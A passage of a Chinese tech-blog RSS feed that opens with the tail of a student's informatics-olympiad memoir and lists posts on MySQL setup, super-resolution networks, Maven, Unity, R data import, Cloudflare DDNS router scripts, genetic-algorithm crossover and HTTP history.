这个消息好像一朵烟花在我的脑子里漂亮地炸开了，留下许多金色的火花。这时毕克也知道了这消息，他建议我们先把名单打开再通知不在这里的其他人，否则CCF的服务器可能会堵死，到那时就谁也看不成了。听闻成绩出来，后面的同学们顿时兴奋起来，嘈杂的声音传遍机房，不过当时我对这一切都没有理会。我想到的第一件事是打电话报告家长，父亲闻此佳音，对我表示赞许。挂掉电话，趁着其他人或庆幸，或意外的当儿，我大致看了看其他人的分数。lxl得了590，司机有529，yfzcsc拿了465，wxh紧随其后，共457分。我这成绩在全校排在倒数第三，这一年zht111没能拿到一等，czqqqaq比我少了5分，其余同学的成绩都在300分以上。cjr也看到了自己的成绩，267分，比一等线只高两分，不禁庆幸自己没有打挂一个点。pkl考的不怎么好，没有上线。总而言之，那天下午机房里的气氛还是比较轻松的，大部分同学的目标都达成了，我们为此感到愉快。 ……从科技楼走回宿舍的那一段路给我留下极深的印象。想要出去，得先掀开又厚又沉的挡风帘，让冷风短暂地灌进大楼，随后用力推开镶着玻璃钢的铁门，整个人在一瞬间就离开了楼层间温暖的空气，闯入寒冬下的北京城。十二月份还不是最冷的时候，我们两次集训里没有下过一次雪，但零度上下不多的气温于人而言都没有什么区别。这样冷的天，让人说话都不由自主大声起来。太轻的话语会在寒风中飘散。手指头对冷的感觉最是敏锐，露在空气里的感觉跟放在针桶里没有两样，只能让它们待在兜里，进了室内再拿出来。 最后一天没有安排课程。张君亮老师带着我们七中一行人赶到THU去参观学习，顺便见见学长们。杨景钦在清华集训中考的还不错，因此心情很好，也跟着我们过来看一看自己即将要上课的地方。托张老的福，在清华里上课的学长们几乎都过来了。我们见到了骑着自行车的laekov，背书包的jason_yu，当然还有zhonghaoxi和mhy12345，外加一位从北大特意赶过来的学长（原谅我忘记了他的名字）。清华的校园很漂亮。我们在一条两边栽满了常青树的路上慢慢走着，张老对我们说要多熟悉一下这里，因为以后是要在里面上课的。于是大家都开始一边笑一边摆手否认，同时说着“只有您能上清华”一类的话，但实际上心里都是踌躇满志，不甘人下的。吃过午饭，下午学校的喜报就出来了，标题上赫然写着“祝贺成都七中信息学团队在NOIP2016中勇夺23块金牌”。我们哑然失笑，看着张老给学校宣传部解释NOIP一等奖不能叫金牌（最后还是没有改过来）。这个小插曲让我们感觉很有趣，我们一边计算要几个省的省队才能凑够23块金牌，一边在清华的校园里散步。我们走到信息技术楼，陪杨景钦进去参观了一下，最后从后门绕了出去。从清华的校园里出来，太阳已经西沉——当天是难得的晴天。我们坐上大巴，开回首都机场，在引擎的轰鸣声和起飞时0.4G的加速度中结束了这次北京之行。这就是我在八十中的第一次经历。 2016年12月31日的最后一分钟，我站在家中的电视机前，学着从前在电影里看来的姿势，手持一杯白开水，准备在新年来到时一口气喝下去。当我倒数完毕，将杯子举起一饮而尽时，我还没有意识到接下来的一年我将经历的一切。我OI生涯的大部分经历和体验都发生在这一年内，我将怀揣诸多疑问，我将获得模棱两可的解答，我将在午后的机房中与挥之不去的疲倦斗争，我将在考试之前的夜晚辗转反侧无法入眠，我将忐忑不安地提交不知是否正确的代码，我将翻来覆去地调试最后获得莫名其妙的AC，我将在十拿九稳的考试中发挥失常，我将在难以下手的考试中居于人上，我将对着含糊不清的题解无可奈何，我将研读繁错复杂的代码找寻真相，我将坐在台下仔细听讲，我将站在台上居高临下，我将在辛苦后得到一点似有若无的信心，我将在十一月的寒风中不知前路如何适从，我将与自我沟通交谈，我将把自己打倒推翻。但在2017年的第一秒钟，我所做的只是喝下杯中的凉水，然后对面前的空气说上一句： “新年快乐。” 现在是1月1日，这篇退役记还剩下一大半。请稍安勿躁，好戏就在前方。</description>
    </item>
    <item>
      <title>ubuntu下安装mysql并远程客户端连接mysql</title>
      <link>https://bchobby.github.io/posts/2faf05e90437406782ddc9ccc60d0e52/</link>
      <pubDate>Tue, 03 Dec 2019 17:51:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2faf05e90437406782ddc9ccc60d0e52/</guid>
      <description>1.安装&#xA;https://www.cnblogs.com/opsprobe/p/9126864.html&#xA;2.mysql 开启远程连接权限&#xA;https://blog.csdn.net/hl449006540/article/details/79722060&#xA;3.添加新用户&#xA;https://www.linuxidc.com/Linux/2018-09/154250.htm&#xA;4.Ubuntu Server下启动/停止/重启MySQL数据库的三种方式&#xA;启动mysql：&#xA;方式一：sudo /etc/init.d/mysql start&#xA;方式二：sudo service mysql start 停止mysql：&#xA;方式一：sudo /etc/init.d/mysql stop&#xA;方式二：sudo service mysql stop 重启mysql：&#xA;方式一：sudo/etc/init.d/mysql restart&#xA;方式二：sudo service mysql restart</description>
    </item>
    <item>
      <title>超分辨率——DRCN</title>
      <link>https://bchobby.github.io/posts/cd25910d688aa5eac5774f87128ea37a/</link>
      <pubDate>Tue, 03 Dec 2019 16:36:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd25910d688aa5eac5774f87128ea37a/</guid>
      <description>超分辨率——DRCN@TOC&#xA;我们提出一种基于深度递归卷积神经网络进行图像超分辨率重建的模型。我们的网络有一个很深的递归层，多大16层。在额外的卷积层不引入新的变量的情况下，增加递归层数可以提高超分辨率图像恢复性能。由于梯度消失和梯度爆炸，用标准的梯度下降法学习DRCN是困难的。为了减轻训练的困难程度，作者提出两个改进办法：递归监督和跃层连接。&#xA;对于SR问题，卷积网络的感受野决定了上下文信息的数量，上下文信息可以被利用去推断丢失的高频组件。SR是一个不适定的逆问题，收集和分析更多的邻居像素可以给出更多的在降采样时丢失的信息。&#xA;提高感受野的方法有：增加卷积核大于1X1的卷积层，增加池化层。这两种办法有很大的缺点，增加卷积层会增加参数，增加池化层会忽略一些像素级的信息。&#xA;SR问题为什么不用池化网络？&#xA;在SR问题中图片细节是非常重要的，因此大多数深度学习方法不使用池化层。&#xA;为什么作者会想到用深度递归卷积网络解决SR问题？&#xA;增加网络深度会产生更多的参数进而有两个问题会出现：1，过拟合，需要更多的数据。2，模型太大而不能存储和检索。基于以上问题作者提出了深度递归卷积神经网络（DRCN）。DRCN重复使用相同的卷积层，但是递归执行时并不增加参数数量，DRCN感受野是41X41这相对于SRCNN（13X13）是相当大的。但是学习单个权值像素之间的长期依赖关系非常困难。&#xA;如何解决学习单个权值像素之间的长期依赖关系困难问题？&#xA;递归监督：每个递归的特征映射被用来重建目标HR图片&#xA;跃层连接：从输入层到输出层使用跃层连接作者为什么想用深度递归神经网络解决SR问题？&#xA;（1）VDSR提出一种深度卷积神经网络解决SR问题，并且有很好的实现效果，作者想到卷积层有完全相同的结构提醒我们递归&#xA;（2）感受野对于SR问题，卷积网络的感受野决定了上下文信息的数量，上下文信息可以被利用去推断丢失的高频组件。收集和分析更多的邻居像素可以给出更多的在降采样时丢失的信息。&#xA;提高感受野的方法有：增加卷积核大于1X1的卷积层，增加池化层。这两种办法有很大的缺点，增加卷积层会增加参数，增加池化层会忽略一些像素级的信息&#xA;Embed Net作用？为什么使用两次卷积？&#xA;Embeding Net主要是将输入图像转成一系列的feature map表示。该子网络主要注重提取特征，将其送入Inference Net去恢复低分辨率图像中的丢失的高频信息。&#xA;卷积神经网络的第一个卷积层的过滤器用来检测低阶特征，比如边角曲线等，随着卷积层的增加，对应过滤器检测的特征就更加复杂。&#xA;Inference Net层的作用？&#xA;Inference Net是这篇文章的重点，主要是处理超分辨率过程的高频细节恢复工作。Inference Net是一个递归的子网络，通过不增加参数数量的情况下，尽量大的增加网络的感受野receptive fields。&#xA;因此本文采用了递归卷积层，每次递归都采用与上次一样的卷积核，因此，在增大感受野的同时，并没有引入额外的参数&#xA;这样做的同时，会引入两个麻烦的问题；1）Recursive次数怎么选？如何去选取最优的Recursive次数。2）Recursive次数多了，在反向传播的时候，长链式的梯度会出现两个常见的问题：梯度爆炸和梯度弥散，如何去有效训练该子网络？&#xA;关于第二个问题，作者给出了两种算法去解决这个问题，1）监督递归，每次Recursive后的feature map都会连接到输出。递归监督本质上减轻了训练递归网络的困难。如果监控信号直接从损耗层递归到早期递归，则反向传播要经过几个层。将从不同预测损耗反向传播的梯度累加，得到平滑效果。沿反向传播路径的渐变消失/爆炸的不利影响得到了缓解。&#xA;2)skip-connection，由于超分辨率有个特点（图像输入和图像输出在一定程度上是高度相关的，所以将图像输入直接跳跃连接到图像输出）&#xA;对于SR，输入和输出图像是高度相关的。即使不是全部，至少也要携带大部分输入值，直到网络结束，这是不可避免的，但效率非常低。由于梯度问题，如果输入和输出之间存在多次递归，那么准确地学习输入和输出之间的简单线性关系是非常困难的。&#xA;我们添加了一个层跳过[3]从输入到重建网络。在语义分割网络[18]中成功地应用了层跳算法，并采用了相似的思想。现在，只要在递归过程中使用输入图像，它就会被直接输入到重构网络中。我们skip-connection&#xA;有两个优点。首先，保存递归期间存储输入信号的网络容量。其次，输入信号的精确拷贝可以用于目标预测。&#xA;此外，选择最优递归数的重要性也降低了，因为我们可以利用所有中间层的预测。如果递归对于给定的任务来说太深，那么我们期望晚期预测的权重较低，而早期预测的权重较高&#xA;reconstruction network 作用？&#xA;reconstruction network 相当于Embed Net的逆过程，将图片转换为输入图片的通道个数。&#xA;递归神经网络如何实现参数共享？&#xA;在卷积神经网络中，卷积核内的一个卷积核(滤波器)用于提取一个特征(输入数据的一个维度)，而输入数据具有多个特征(维度)的话，就会有很多个卷积核，那么在这一层的卷积层中就会有“参数爆炸”的情况。同时，一层中每个卷积核提取特定的特征，忽略了数据的局部相关性。&#xA;而参数共享的作用在于，每个特征具有平移不变性，同一个特征可以出现在出现在不同数据的不同位置，可以用同一个卷积核来提取这一特征。而且利用数据的局部相关性，通过权值共享，一个卷积层共享一个卷积核，减少了卷积层上的参数。通过加深神经网络的层数(深度网络)，每一层卷积层使用不同的卷积核，从而达到提取尽可能多特征的目的。</description>
    </item>
    <item>
      <title>Maven导入本地jar包的三种方法</title>
      <link>https://bchobby.github.io/posts/d488ed2c5093494b8229a0262d45d0e3/</link>
      <pubDate>Tue, 03 Dec 2019 13:59:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d488ed2c5093494b8229a0262d45d0e3/</guid>
      <description> Maven导入本地jar包的三种方法 1.直接dependency本地的jar包 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.im&amp;lt;/groupId&amp;gt; &amp;lt;!--自定义--&amp;gt; &amp;lt;artifactId&amp;gt;sdk&amp;lt;/artifactId&amp;gt; &amp;lt;!--自定义--&amp;gt; &amp;lt;version&amp;gt;1.0&amp;lt;/version&amp;gt; &amp;lt;!--自定义--&amp;gt; &amp;lt;scope&amp;gt;system&amp;lt;/scope&amp;gt; &amp;lt;!--system，类似provided，需要显式提供依赖的jar以后，Maven就不会在Repository中查找它--&amp;gt; &amp;lt;systemPath&amp;gt;${basedir}/lib/sdk-1.0.jar&amp;lt;/systemPath&amp;gt; &amp;lt;!--项目根目录下的lib文件夹下--&amp;gt; &amp;lt;/dependency&amp;gt; 2.编译阶段指定外部lib &amp;lt;plugin&amp;gt; &amp;lt;artifactId&amp;gt;maven-compiler-plugin&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.3.2&amp;lt;/version&amp;gt; &amp;lt;configuration&amp;gt; &amp;lt;source&amp;gt;1.8&amp;lt;/source&amp;gt; &amp;lt;target&amp;gt;1.8&amp;lt;/target&amp;gt; &amp;lt;encoding&amp;gt;UTF-8&amp;lt;/encoding&amp;gt; &amp;lt;compilerArguments&amp;gt; &amp;lt;extdirs&amp;gt;${project.basedir}/src/main/resources/lib&amp;lt;/extdirs&amp;gt;&amp;lt;!--指定外部lib--&amp;gt; &amp;lt;/compilerArguments&amp;gt; &amp;lt;/configuration&amp;gt; &amp;lt;/plugin&amp;gt; ${project.basedir}/src/main/resources/lib：我的jar包存放的路径&#xA;3.将外部jar安装到本地maven仓库，然后在dependency引入 mvn install:install-file -Dfile=sdk-1.0.jar -DgroupId=com.im -DartifactId=sdk -Dversion=1.0 -Dpackaging=jar Dfile: jar包的物理路径Dversion:版本号Dpackaging:包类型 在pom中引入依赖&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.im&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;sdk&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 注意：如果你是SpringBoot项目，还是会存在提示 找不到符号，此时请往下面看&#xA;如果你是SpringBoot项目，此时你的pom文件中只有spring-boot-maven-plugin&#xA;&amp;lt;plugins&amp;gt; &amp;lt;plugin&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-maven-plugin&amp;lt;/artifactId&amp;gt; &amp;lt;configuration&amp;gt; &amp;lt;executable&amp;gt;true&amp;lt;/executable&amp;gt; &amp;lt;/configuration&amp;gt; &amp;lt;/plugin&amp;gt; &amp;lt;/plugins&amp;gt; 此时，需要再添加maven-complier-plugin即可&#xA;&amp;lt;plugin&amp;gt; &amp;lt;artifactId&amp;gt;maven-compiler-plugin&amp;lt;/artifactId&amp;gt; &amp;lt;configuration&amp;gt; &amp;lt;compilerArguments&amp;gt; &amp;lt;extdirs&amp;gt;${project.basedir}/src/main/resources/lib&amp;lt;/extdirs&amp;gt; &amp;lt;/compilerArguments&amp;gt; &amp;lt;/configuration&amp;gt; &amp;lt;/plugin&amp;gt; </description>
    </item>
    <item>
      <title>Unity 重置动画到初始状态</title>
      <link>https://bchobby.github.io/posts/d7857e217d679693ecc4a8f7ebb8aeba/</link>
      <pubDate>Tue, 03 Dec 2019 13:51:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7857e217d679693ecc4a8f7ebb8aeba/</guid>
      <description> // 重置Animator public void ResetAnimator(){ animator.Play(&#34;Take 001&#34;, 0, 0); animator.Update(0); animator.enabled = false; } </description>
    </item>
    <item>
      <title>R语言 从excel导入数据，由于内容有excel的换行符导致列数不一致的问题</title>
      <link>https://bchobby.github.io/posts/09a23d11df5747c2d6d5993da873e8cb/</link>
      <pubDate>Tue, 03 Dec 2019 09:52:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/09a23d11df5747c2d6d5993da873e8cb/</guid>
      <description> R语言 从excel导入数据，由于内容有excel的换行符导致列数不一致的问题 问题描述解决办法1. 在excel中先通过trim和clean函数进行预处理2. 读入数据简单的方法是，将清理后的数据复制粘贴到文本编辑器，保存为txt，通过readr包的read_table2读入如果想保存为csv，需通过emeditor转为csv后，通过read_csv读入 问题描述 数据在excel中，一般导入方法是通过read.table(“clipboard”, sep = ‘\t’)的方法读取数据。&#xA;但是有时候excel中会有某一单元格通过(alt + 回车)数据换行的情况，导致读取错位，提示某一行的列数不一致：&#xA;Error in scan(file = file, what = what, sep = sep, quote = quote, dec = dec, :&#xA;line 269 did not have 26 elements&#xA;如果把数据放到emeditor中去查看，会发现数据中确实会有很多换行&#xA;解决办法 1. 在excel中先通过trim和clean函数进行预处理 新建一个sheet，输入公式&#xA;=CLEAN(TRIM(表名!A1))&#xA;然后横向手动拖拉填充 + 纵向填充（快捷键crtl+D），具体操作手法可以百度一下，目的是把源表的每一个数据通过clean清除换行空格等特殊字符&#xA;2. 读入数据 注：这里是用readr包的函数读入，用内置的read.table或者read.csv依然会报错&#xA;简单的方法是，将清理后的数据复制粘贴到文本编辑器，保存为txt，通过readr包的read_table2读入 library(readr) t2 = read_table2(&#34;C:/Users/admin/Desktop/tmp.txt&#34;) 如果想保存为csv，需通过emeditor转为csv后，通过read_csv读入 复制进emeditor后先用制表符分隔&#xA;再转为用逗号分隔的csv文件&#xA;点击这个魔法棒的图标后，右侧会出现csv转换器&#xA;选择逗号分隔后，点击立即转换，完成后这个文件就已经是转为了标准格式的csv文件了，另存为csv。&#xA;可选择文件编码&#xA;3. 用readr包的read_csv读取文件&#xA;library(readr) t2 = read_csv(&#34;C:/Users/admin/Desktop/tmp.csv&#34;) </description>
    </item>
    <item>
      <title>Cloudflare DDNS梅林插件代码</title>
      <link>https://bchobby.github.io/posts/2dc8c2a925af68be4987fbcd772e9177/</link>
      <pubDate>Mon, 02 Dec 2019 21:16:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2dc8c2a925af68be4987fbcd772e9177/</guid>
      <description>Cloudflare-DDNS梅林固件插件地址：https://ww.lanzous.com/iba19cd&#xA;直接在梅林固件安装即可。&#xA;主要修改了cfddns\scripts\cfddns_update.sh的Cloudflare DDNS插件代码：&#xA;#!/bin/sh eval `dbus export cfddns_` if [ &#34;$cfddns_enable&#34; != &#34;1&#34; ]; then echo &#34;not enable&#34; exit fi now=`date &#39;+%Y-%m-%d %H:%M:%S&#39;` ip=`$cfddns_curl 2&amp;gt;&amp;amp;1` || die &#34;$ip&#34; [ &#34;$cfddns_curl&#34; = &#34;&#34; ] &amp;amp;&amp;amp; cfddns_curl=&#34;curl -s whatismyip.akamai.com&#34; [ &#34;$cfddns_ttl&#34; = &#34;&#34; ] &amp;amp;&amp;amp; cfddns_ttl=&#34;600&#34; die() { echo $1 dbus ram cfddns_last_act=&#34;$now: failed($1)&#34; } update_record() { curl -X PUT &#34;https://api.cloudflare.com/client/v4/zones/$cfddns_zone/dns_records/$cfddns_id&#34; \ -H &#34;X-Auth-Email: $cfddns_email&#34; \ -H &#34;X-Auth-Key: $cfddns_key&#34; \ -H &#34;</description>
    </item>
    <item>
      <title>zookeeper 客户端提示：zookeeper kejava.lang.IllegalArgumentException: Path must start with / character</title>
      <link>https://bchobby.github.io/posts/4b1b3306801dbdc733c4647167050933/</link>
      <pubDate>Mon, 02 Dec 2019 19:07:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b1b3306801dbdc733c4647167050933/</guid>
      <description>今天第一次使用zookeeper 开源客户端Curator 编写 涉及zookeeper 的代码提示如下错误信息：&#xA;java.lang.IllegalArgumentException: Path must start with / character at org.apache.zookeeper.common.PathUtils.validatePath(PathUtils.java:51) at org.apache.zookeeper.ZooKeeper.delete(ZooKeeper.java:851) at com.zzg.file.component.FileComponent.init() 报错代码： zkClient.create().withMode(CreateMode.EPHEMERAL).forPath(names[i + 1], names[i].getBytes()); 正确代码： zkClient.create().withMode(CreateMode.EPHEMERAL).forPath(&#34;/&#34; + names[i + 1], names[i].getBytes()); 解决方法： ZooKeeper 节点名称以“/”打头</description>
    </item>
    <item>
      <title>进化计算-遗传算法之史上最直观交叉算子（动画演示）</title>
      <link>https://bchobby.github.io/posts/b7bf4aa85a4fb6f29422cf440ec5ce6b/</link>
      <pubDate>Mon, 02 Dec 2019 16:28:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b7bf4aa85a4fb6f29422cf440ec5ce6b/</guid>
      <description>获取更多资讯，赶快关注上面的公众号吧！&#xA;文章目录 第二十章 遗传算法-史上最直观交叉算子（动画演示）20.1 单点交叉（Single-point crossover）20.2 两点交叉（Two-points crossover）20.3 多点交叉（Multi-point crossover）20.4 部分匹配交叉（Partially-matched crossover，PMX）20.5 均匀交叉（Uniform crossover）20.6 顺序交叉（Order Crossover，OX）20.7 基于位置的交叉（Position-based Crossover，PBX）20.8 基于顺序的交叉（Order-Based Crossover，OBX）20.9 循环交叉（Cycle Crossover，CX）20.10 子路径交叉交叉（Subtour Exchange Crossover，SEX） 第二十章 遗传算法-史上最直观交叉算子（动画演示） 遗传算法通过交叉算子来维持种群的多样性，应该说交叉算子是遗传算法中最重要的操作。针对不同的优化问题，有多种不同的交叉算子，今天将带领大家以动画的形式，直观地介绍不同交叉算子的原理。制作不易，感谢关注。&#xA;20.1 单点交叉（Single-point crossover） 单点交叉通过选取两条染色体，在随机选择的位置点上进行分割并交换右侧的部分，从而得到两个不同的子染色体。单点交叉是经典的交叉形式，与多点交叉或均匀交叉相比，它交叉混合的速度较慢（因为将染色体分成两段进行交叉，这种方式交叉粒度较大），然而对于选取交叉点位置具有一定内在含义的问题而言，单点交叉可以造成更小的破坏。&#xA;20.2 两点交叉（Two-points crossover） 两点交叉是指在个体染色体中随机设置了两个交叉点，然后再进行部分基因交换。两点交叉的具体操作过程是：&#xA;在相互配对的两个个体编码串中随机设置两个交叉点；交换两个个体在所设定的两个交叉点之间的部分染色体。&#xA;20.3 多点交叉（Multi-point crossover） 多点交叉或称广义交叉，是指在个体染色体中随机设置多个交叉点，然后进行基因交换。其操作过程与单点交叉和两点交叉相类似。如果多点交叉只选择了一个交叉点，那么多点交叉就变成了单点交叉。&#xA;20.4 部分匹配交叉（Partially-matched crossover，PMX） 部分匹配交叉保证了每个染色体中的基因仅出现一次，通过该交叉策略在一个染色体中不会出现重复的基因，所以PMX经常用于旅行商（TSP）或其他排序问题编码。&#xA;PMX类似于两点交叉，通过随机选择两个交叉点确定交叉区域。执行交叉后一般会得到两个无效的染色体，个别基因会出现重复的情况，为了修复染色体，可以在交叉区域内建立每个染色体的匹配关系，然后在交叉区域外对重复基因应用此匹配关系就可以消除冲突。&#xA;Step1：随机选择一对染色体（父代）中几个基因的起止位置（两染色体被选位置相同）。&#xA;Step2：交换这两组基因的位置。&#xA;Step3：做冲突检测，根据交换的两组基因建立一个映射关系，如图所示，以7-5-2这一映射关系为例，可以看到第二步结果中子代1存在两个基因7，这时将其通过映射关系转变为基因2，以此类推至没有冲突为止。最后所有冲突的基因都会经过映射，保证形成的新一对子代基因无冲突。&#xA;最终结果为：&#xA;动画效果如下：&#xA;20.5 均匀交叉（Uniform crossover） 均匀交叉也称一致交叉，在均匀交叉中，两个染色体的索引i处的基因以交换概率pS进行交换。经验研究表明，均匀交叉比是一种更具利用性的方法，这样可以更好地搜索设计空间，同时保持良好的信息交换。&#xA;20.6 顺序交叉（Order Crossover，OX） 在两个父代染色体中随机选择起始和结束位置，将父代染色体1该区域内的基因复制到子代1相同位置上，再在父代染色体2上将子代1中缺少的基因按照顺序填入。另一个子代以类似方式得到。与PMX不同的是，OX不用进行冲突检测工作（实际上也只有PMX需要做冲突检测）。&#xA;Step1：与PMX相同，随机选择一对染色体（父代）中几个基因的起止位置（两染色体被选位置相同）。&#xA;Step2：生成一个子代，并保证子代中被选中的基因的位置与父代相同。&#xA;Step3：先找出第一步选中的基因在另一个父代中的位置，再将其余基因按顺序放入上一步生成的子代中。&#xA;动画效果如下：&#xA;20.7 基于位置的交叉（Position-based Crossover，PBX） 在两个父代染色体中随机选择几个位置，位置可以不连续，将父代染色体1这些位置上的基因复制到子代1相同位置上，再在父代染色体2上将子代1中缺少的基因按照顺序填入。另一个子代以类似方式得到。PBX与OX的不同在于选取的位置可以不连续。&#xA;Step1：随机选择一对染色体（父代）中几个基因，位置可不连续，但两染色体被选位置相同。&#xA;Step2：与OX的第二步相同，生成一个子代，并保证子代中被选中的基因的位置与父代相同。</description>
    </item>
    <item>
      <title>互联网诞生30周年，看HTTP和HTTPS的起源发展</title>
      <link>https://bchobby.github.io/posts/226a0c409c8f87a3d75d96ac9f5fe086/</link>
      <pubDate>Mon, 02 Dec 2019 15:10:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/226a0c409c8f87a3d75d96ac9f5fe086/</guid>
      <description>今天我们能够在网络中畅游，随时通过网络获取资源、信息，都得益于一位计算机科学家蒂姆·伯纳斯·李的构想。1991年8月6日，蒂姆·伯纳斯·李在位于欧洲粒子物理研究所（CERN）的NeXT计算机上，正式公开运行世界上第一个Web网站（http://info.cern.ch），建立起基本的互联网基础概念和技术体系，由此开启了网络信息时代的序幕。&#xA;万维网www构想的诞生&#xA;1989 年 3 月 12 日，欧洲粒子物理研究所（CERN）的计算机科学家蒂姆·伯纳斯·李在其一份提案《Information Management: A Proposal》中提出了一个构想：创建一个以超文本系统为基础的项目，允许在不同计算机之间分享信息，其目的是方便研究人员分享及更新信息。这个构想最终成了WWW（World Wide Web）万维网的基础，彻底改变了人类社会的沟通交流方式。&#xA;伯纳斯·李的提案包含了网络的基本概念并逐步建立了所有必要的工具：&#xA;提出HTTP (Hypertext Transfer Protocol) 超文本传输协议，允许用户通过单击超链接访问资源；&#xA;提出使用HTML超文本标记语言(Hypertext Markup Language)作为创建网页的标准；&#xA;创建了统一资源定位器URL (Uniform Resource Locator)作为网站地址系统，就是沿用至今的http://www URL格式；&#xA;创建第一个Web浏览器，称为万维网浏览器，这也是一个Web编辑器；&#xA;创建第一个HTTP 服务器软件，后来称为CERN httpd；&#xA;创建第一个Web服务器（http://info.cern.ch）以及描述项目本身的第一个Web页面。&#xA;不过这个提案在当时并没有引起人们的兴趣。1993年4月30日，欧洲粒子物理研究所（CERN）将万维网软件开源，发布了一个开放式许可证，使得万维网得到最大化的传播。但直到20世纪90年代中期吉姆·克拉克和马克·安德森在Netscape（网景通信公司）推广商业网页浏览这一概念后，万维网的应用才开始真正爆发。&#xA;HTTP协议的诞生和发展&#xA;超文本传输协议（HTTP）是应用层的一个协议，是万维网生态系统的核心。HTTP 协议采用 BS 架构，也就是浏览器到服务器的架构，客户端通过浏览器发送 HTTP 请求给服务器，服务器经过解析响应客户端的请求。&#xA;HTTP 是基于 TCP/IP 协议的应用层协议，在 OSI 七层模型中在最上层，它并不涉及数据包（packet）传输，主要规定了客户端和服务器之间的通信格式，默认使用80端口。&#xA;HTTP 协议最早的一个版本是1991年发布的 HTTP/0.9，这个版本只有一个命令：GET。通过 GET 你可以获取服务器的资源，比如请求服务器根目录下的 index.html 文件。这个版本的协议规定，服务器只能回应HTML格式的字符串，不能回应别的格式，也就是说今天的图像、视频等多媒体资源，在 HTTP/0.9这个版本上是无法进行传输的。&#xA;1996年5月，HTTP/1.0 版本发布，增加了POST命令和HEAD命令，丰富了浏览器与服务器的互动手段。这个版本HTTP协议可以发送任何格式的内容，包括传输文字、图像、视频、文件，这为互联网的大发展奠定了基础。&#xA;HTTP/1.0 除了增加了请求方法以及对发送文件的支持之外，还增加了格式的改变。除了数据部分，每次通信都必须包括头信息（HTTP header），用来描述一些元数据。另外还增加了状态码、多字符集支持、多部分发送（multi-part type）、权限（authorization）、缓存（cache）、内容编码（content encoding）等等。&#xA;HTTP/1.0 版也并不是完美的，它的主要缺点是，每一次建立TCP连接只能发送一个请求。发送数据完毕，连接就关闭，如果还要请求其他资源，就必须再新建一个连接。如果多次请求，势必就会对服务器产生较大的资源性能损耗。&#xA;1997年1月，HTTP/1.1 版本发布，这个版本只比 1.0 版本晚了半年。这个版本最大的变化就是将持久化连接加入了 HTTP 标准，即TCP连接默认不关闭，可以被多个请求复用。此外，HTTP/1.1版还新增了许多方法，例如：PUT、PATCH、HEAD、 OPTIONS、DELETE。得到进一步完善的HTTP/1.</description>
    </item>
    <item>
      <title>openwrt自动更新cloudflare的域名解释实现DDNS</title>
      <link>https://bchobby.github.io/posts/c36aa4b13002e26d5cb9a4415b24d8cc/</link>
      <pubDate>Sun, 01 Dec 2019 21:46:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c36aa4b13002e26d5cb9a4415b24d8cc/</guid>
      <description>实例介绍在openwrt上用curl更新cloudflare的域名解释，以实现开机自动DDNS。&#xA;一、官方例子&#xA;例子连接：https://api.cloudflare.com/#dns-records-for-a-zone-list-dns-records&#xA;将例子简单化：&#xA;curl -X PUT &#34;https://api.cloudflare.com/client/v4/zones/{主域名zoneID}/dns_records/{要做DDNS的域名ID}&#34; \ -H &#34;X-Auth-Email: 你cloudflare登陆EMAIL&#34; \ -H &#34;X-Auth-Key: 你的API Key&#34; \ -H &#34;Content-Type: application/json&#34; \ --data &#39;{&#34;id&#34;:&#34;{要做DDNS的域名ID}&#34;,&#34;type&#34;:&#34;A&#34;,&#34;name&#34;:&#34;{要做DDNS的域名}&#34;,&#34;content&#34;:&#34;{要做DDNS域名的IP}&#34;,&#34;zone_id&#34;:&#34;{主域名zoneID}&#34;,&#34;zone_name&#34;:&#34;{主域名}&#34;}&#39; 二、定位数据&#xA;通过上面简单化的例子，关键是要获取三个KEY。&#xA;1，X-Auth-Key：可以在https://www.cloudflare.com/a/account/my-account 下找到，下面的Global API Key就是了。&#xA;2，主域名zoneID：&#xA;写一个*.sh文件，其中将{主域名}替换为你自己的，如我的就是: xxxx.com&#xA;#! /bin/sh curl --insecure -X GET &#34;https://api.cloudflare.com/client/v4/zones?name={主域名}&amp;amp;amp;status=active&amp;amp;amp;page=1&amp;amp;amp;per_page=20&amp;amp;amp;order=status&amp;amp;amp;direction=desc&amp;amp;amp;match=all&#34; \ -H &#34;X-Auth-Email: 你cloudflare登陆EMAIL&#34; \ -H &#34;X-Auth-Key: 你的API Key&#34; \ -H &#34;Content-Type: application/json&#34; \ 执行完之后，会看到，如：&#xA;{&#34;result&#34;:[{&#34;id&#34;:&#34;12346789abcdefghijklmnopqrstuvw&#34;,&#34;name&#34;:&#34;ztjal.info&#34;,&#34;status&#34;:&#34;active&#34;,&#34;paused&#34;:false...后略 id后面的“12346789abcdefghijklmnopqrstuvw”就是主域名的zoneID&#xA;3，要做DDNS的域名ID&#xA;继续使用刚才的*.sh文件，其中将{要做DDNS的域名}替换为你自己的，如我的就是: myddns.xxxx.com&#xA;#! /bin/sh curl --insecure -X GET &#34;https://api.cloudflare.com/client/v4/zones/12346789abcdefghijklmnopqrstuvw/dns_records?type=A&amp;amp;amp;name={要做DDNS的域名}&amp;amp;amp;page=1&amp;amp;amp;per_page=20&amp;amp;amp;order=type&amp;amp;amp;direction=desc&amp;amp;amp;match=all&#34; \ -H &#34;</description>
    </item>
    <item>
      <title>西安交通大学915考研编程笔记</title>
      <link>https://bchobby.github.io/posts/59329072653d8c2b51f6644b68abda87/</link>
      <pubDate>Sun, 01 Dec 2019 16:40:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/59329072653d8c2b51f6644b68abda87/</guid>
